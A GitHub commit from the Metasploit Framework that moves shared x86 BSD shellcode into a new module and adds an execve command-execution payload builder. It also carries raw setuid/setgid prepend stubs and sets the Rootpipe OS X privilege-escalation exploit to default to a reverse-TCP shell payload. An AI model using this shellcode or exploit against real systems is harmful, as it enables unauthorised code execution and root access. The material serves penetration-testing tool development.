Skip to content

Commit 01625e3

Browse files
committed
Land rapid7#5148, DRY BSD/OS X shellcode
Also fix a semi-regression in the Rootpipe exploit.
2 parents 86c5e96 + 13da15e commit 01625e3

File tree

6 files changed

+165
-237
lines changed

6 files changed

+165
-237
lines changed

lib/msf/core/payload/bsd.rb

Lines changed: 3 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22
require 'msf/core'
3+
require 'msf/core/payload/bsd/x86'
34

45
###
56
#
@@ -10,6 +11,8 @@
1011
###
1112
module Msf::Payload::Bsd
1213

14+
include Msf::Payload::Bsd::X86
15+
1316
#
1417
# This mixin is chained within payloads that target the BSD platform.
1518
# It provides special prepends, to support things like chroot and setuid.
@@ -73,7 +76,6 @@ def initialize(info = {})
7376
ret
7477
end
7578

76-
7779
def apply_prepends(buf)
7880
test_arch = [ *(self.arch) ]
7981
pre = ''
@@ -88,76 +90,6 @@ def apply_prepends(buf)
8890
pre + buf + app
8991
end
9092

91-
def handle_x86_bsd_opts(pre, app)
92-
if (datastore['PrependSetresuid'])
93-
# setresuid(0, 0, 0)
94-
pre << "\x31\xc0" +# xorl %eax,%eax #
95-
"\x50" +# pushl %eax #
96-
"\x50" +# pushl %eax #
97-
"\x50" +# pushl %eax #
98-
"\x50" +# pushl %eax #
99-
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
100-
"\xcd\x80" # int $0x80 #
101-
end
102-
103-
if (datastore['PrependSetreuid'])
104-
# setreuid(0, 0)
105-
pre << "\x31\xc0" +# xorl %eax,%eax #
106-
"\x50" +# pushl %eax #
107-
"\x50" +# pushl %eax #
108-
"\x50" +# pushl %eax #
109-
"\xb0\x7e" +# movb $0x7e,%al #
110-
"\xcd\x80" # int $0x80 #
111-
end
112-
113-
if (datastore['PrependSetuid'])
114-
# setuid(0)
115-
pre << "\x31\xc0" +# xorl %eax,%eax #
116-
"\x50" +# pushl %eax #
117-
"\x50" +# pushl %eax #
118-
"\xb0\x17" +# movb $0x17,%al #
119-
"\xcd\x80" # int $0x80 #
120-
end
121-
122-
if (datastore['PrependSetresgid'])
123-
# setresgid(0, 0, 0)
124-
pre << "\x31\xc0" +# xorl %eax,%eax #
125-
"\x50" +# pushl %eax #
126-
"\x50" +# pushl %eax #
127-
"\x50" +# pushl %eax #
128-
"\x50" +# pushl %eax #
129-
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
130-
"\xcd\x80" # int $0x80 #
131-
end
132-
133-
if (datastore['PrependSetregid'])
134-
# setregid(0, 0)
135-
pre << "\x31\xc0" +# xorl %eax,%eax #
136-
"\x50" +# pushl %eax #
137-
"\x50" +# pushl %eax #
138-
"\x50" +# pushl %eax #
139-
"\xb0\x7f" +# movb $0x7f,%al #
140-
"\xcd\x80" # int $0x80 #
141-
end
142-
143-
if (datastore['PrependSetgid'])
144-
# setgid(0)
145-
pre << "\x31\xc0" +# xorl %eax,%eax #
146-
"\x50" +# pushl %eax #
147-
"\x50" +# pushl %eax #
148-
"\xb0\xb5" +# movb $0xb5,%al #
149-
"\xcd\x80" # int $0x80 #
150-
end
151-
152-
if (datastore['AppendExit'])
153-
# exit(0)
154-
app << "\x31\xc0" +# xorl %eax,%eax #
155-
"\x50" +# pushl %eax #
156-
"\xb0\x01" +# movb $0x01,%al #
157-
"\xcd\x80" # int $0x80 #
158-
end
159-
end
160-
16193
def handle_x64_bsd_opts(pre, app)
16294
if (datastore['PrependSetresuid'])
16395
# setresuid(0, 0, 0)

lib/msf/core/payload/bsd/x86.rb

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
4+
###
5+
# Contains common x86 BSD code
6+
###
7+
module Msf::Payload::Bsd
8+
module X86
9+
10+
def bsd_x86_exec_payload
11+
cmd_str = datastore['CMD'] || ''
12+
# Split the cmd string into arg chunks
13+
cmd_parts = Shellwords.shellsplit(cmd_str)
14+
# the non-exe-path parts of the chunks need to be reversed for execve
15+
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
16+
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
17+
18+
payload = ''
19+
20+
# Stuff an array of arg strings into memory
21+
payload << "\x31\xc0" # xor eax, eax (eax => 0)
22+
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
23+
payload << arg_str
24+
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
25+
26+
# now EBX contains &cmd_parts[0], the exe path
27+
if cmd_parts.length > 1
28+
# Build an array of pointers to arguments
29+
payload << "\x89\xD9" # mov ecx, ebx
30+
payload << "\x50" # push eax; null byte (end of array)
31+
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
32+
33+
cmd_parts[1..-1].each_with_index do |arg, idx|
34+
l = [cmd_parts[idx].length+1].pack('V')
35+
# can probably save space here by doing the loop in ASM
36+
# for each arg, push its current memory location on to the stack
37+
payload << "\x81\xC1" # add ecx, ...
38+
payload << l # (cmd_parts[idx] is the prev arg)
39+
payload << "\x51" # push ecx (&cmd_parts[idx])
40+
end
41+
42+
payload << "\x53" # push ebx (&cmd_parts[0])
43+
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
44+
payload << "\x52" # push edx
45+
payload << "\x51" # push ecx
46+
else
47+
# pass NULL args array to execve() call
48+
payload << "\x50\x50" # push eax, push eax
49+
end
50+
51+
payload << "\x53" # push ebx
52+
payload << "\xb0\x3b" # mov al, 0x3b (execve)
53+
payload << "\x50" # push eax
54+
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
55+
56+
payload
57+
end
58+
59+
def handle_x86_bsd_opts(pre, app)
60+
if (datastore['PrependSetresuid'])
61+
# setresuid(0, 0, 0)
62+
pre << "\x31\xc0" +# xorl %eax,%eax #
63+
"\x50" +# pushl %eax #
64+
"\x50" +# pushl %eax #
65+
"\x50" +# pushl %eax #
66+
"\x50" +# pushl %eax #
67+
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
68+
"\xcd\x80" # int $0x80 #
69+
end
70+
71+
if (datastore['PrependSetreuid'])
72+
# setreuid(0, 0)
73+
pre << "\x31\xc0" +# xorl %eax,%eax #
74+
"\x50" +# pushl %eax #
75+
"\x50" +# pushl %eax #
76+
"\x50" +# pushl %eax #
77+
"\xb0\x7e" +# movb $0x7e,%al #
78+
"\xcd\x80" # int $0x80 #
79+
end
80+
81+
if (datastore['PrependSetuid'])
82+
# setuid(0)
83+
pre << "\x31\xc0" +# xorl %eax,%eax #
84+
"\x50" +# pushl %eax #
85+
"\x50" +# pushl %eax #
86+
"\xb0\x17" +# movb $0x17,%al #
87+
"\xcd\x80" # int $0x80 #
88+
end
89+
90+
if (datastore['PrependSetresgid'])
91+
# setresgid(0, 0, 0)
92+
pre << "\x31\xc0" +# xorl %eax,%eax #
93+
"\x50" +# pushl %eax #
94+
"\x50" +# pushl %eax #
95+
"\x50" +# pushl %eax #
96+
"\x50" +# pushl %eax #
97+
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
98+
"\xcd\x80" # int $0x80 #
99+
end
100+
101+
if (datastore['PrependSetregid'])
102+
# setregid(0, 0)
103+
pre << "\x31\xc0" +# xorl %eax,%eax #
104+
"\x50" +# pushl %eax #
105+
"\x50" +# pushl %eax #
106+
"\x50" +# pushl %eax #
107+
"\xb0\x7f" +# movb $0x7f,%al #
108+
"\xcd\x80" # int $0x80 #
109+
end
110+
111+
if (datastore['PrependSetgid'])
112+
# setgid(0)
113+
pre << "\x31\xc0" +# xorl %eax,%eax #
114+
"\x50" +# pushl %eax #
115+
"\x50" +# pushl %eax #
116+
"\xb0\xb5" +# movb $0xb5,%al #
117+
"\xcd\x80" # int $0x80 #
118+
end
119+
120+
if (datastore['AppendExit'])
121+
# exit(0)
122+
app << "\x31\xc0" +# xorl %eax,%eax #
123+
"\x50" +# pushl %eax #
124+
"\xb0\x01" +# movb $0x01,%al #
125+
"\xcd\x80" # int $0x80 #
126+
end
127+
end
128+
129+
end
130+
end

lib/msf/core/payload/osx.rb

Lines changed: 0 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,6 @@ def initialize(info = {})
1919

2020
register_advanced_options(
2121
[
22-
Msf::OptBool.new('PrependSetresuid',
23-
[
24-
false,
25-
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
26-
false
27-
]
28-
),
2922
Msf::OptBool.new('PrependSetreuid',
3023
[
3124
false,
@@ -40,13 +33,6 @@ def initialize(info = {})
4033
false
4134
]
4235
),
43-
Msf::OptBool.new('PrependSetresgid',
44-
[
45-
false,
46-
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
47-
false
48-
]
49-
),
5036
Msf::OptBool.new('PrependSetregid',
5137
[
5238
false,
@@ -89,16 +75,6 @@ def apply_prepends(buf)
8975
end
9076

9177
def handle_x86_osx_opts(pre, app)
92-
if (datastore['PrependSetresuid'])
93-
# setresuid(0, 0, 0)
94-
pre << "\x31\xc0" +# xorl %eax,%eax #
95-
"\x50" +# pushl %eax #
96-
"\x50" +# pushl %eax #
97-
"\x50" +# pushl %eax #
98-
"\x50" +# pushl %eax #
99-
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
100-
"\xcd\x80" # int $0x80 #
101-
end
10278

10379
if (datastore['PrependSetreuid'])
10480
# setreuid(0, 0)
@@ -119,17 +95,6 @@ def handle_x86_osx_opts(pre, app)
11995
"\xcd\x80" # int $0x80 #
12096
end
12197

122-
if (datastore['PrependSetresgid'])
123-
# setresgid(0, 0, 0)
124-
pre << "\x31\xc0" +# xorl %eax,%eax #
125-
"\x50" +# pushl %eax #
126-
"\x50" +# pushl %eax #
127-
"\x50" +# pushl %eax #
128-
"\x50" +# pushl %eax #
129-
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
130-
"\xcd\x80" # int $0x80 #
131-
end
132-
13398
if (datastore['PrependSetregid'])
13499
# setregid(0, 0)
135100
pre << "\x31\xc0" +# xorl %eax,%eax #
@@ -159,10 +124,6 @@ def handle_x86_osx_opts(pre, app)
159124
end
160125

161126
def handle_x64_osx_opts(pre, app)
162-
if (datastore['PrependSetresuid'])
163-
# setresuid(0, 0, 0)
164-
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
165-
end
166127

167128
if (datastore['PrependSetreuid'])
168129
# setreuid(0, 0)
@@ -185,11 +146,6 @@ def handle_x64_osx_opts(pre, app)
185146
"\x0f\x05" # syscall
186147
end
187148

188-
if (datastore['PrependSetresgid'])
189-
# setresgid(0, 0, 0)
190-
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
191-
end
192-
193149
if (datastore['PrependSetregid'])
194150
# setregid(0, 0)
195151
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)

modules/exploits/osx/local/rootpipe.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,7 @@ def initialize(info = {})
4848
],
4949
'DefaultTarget' => 0,
5050
'DefaultOptions' => {
51+
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
5152
'PrependSetreuid' => true
5253
}
5354
))

0 commit comments

Comments
 (0)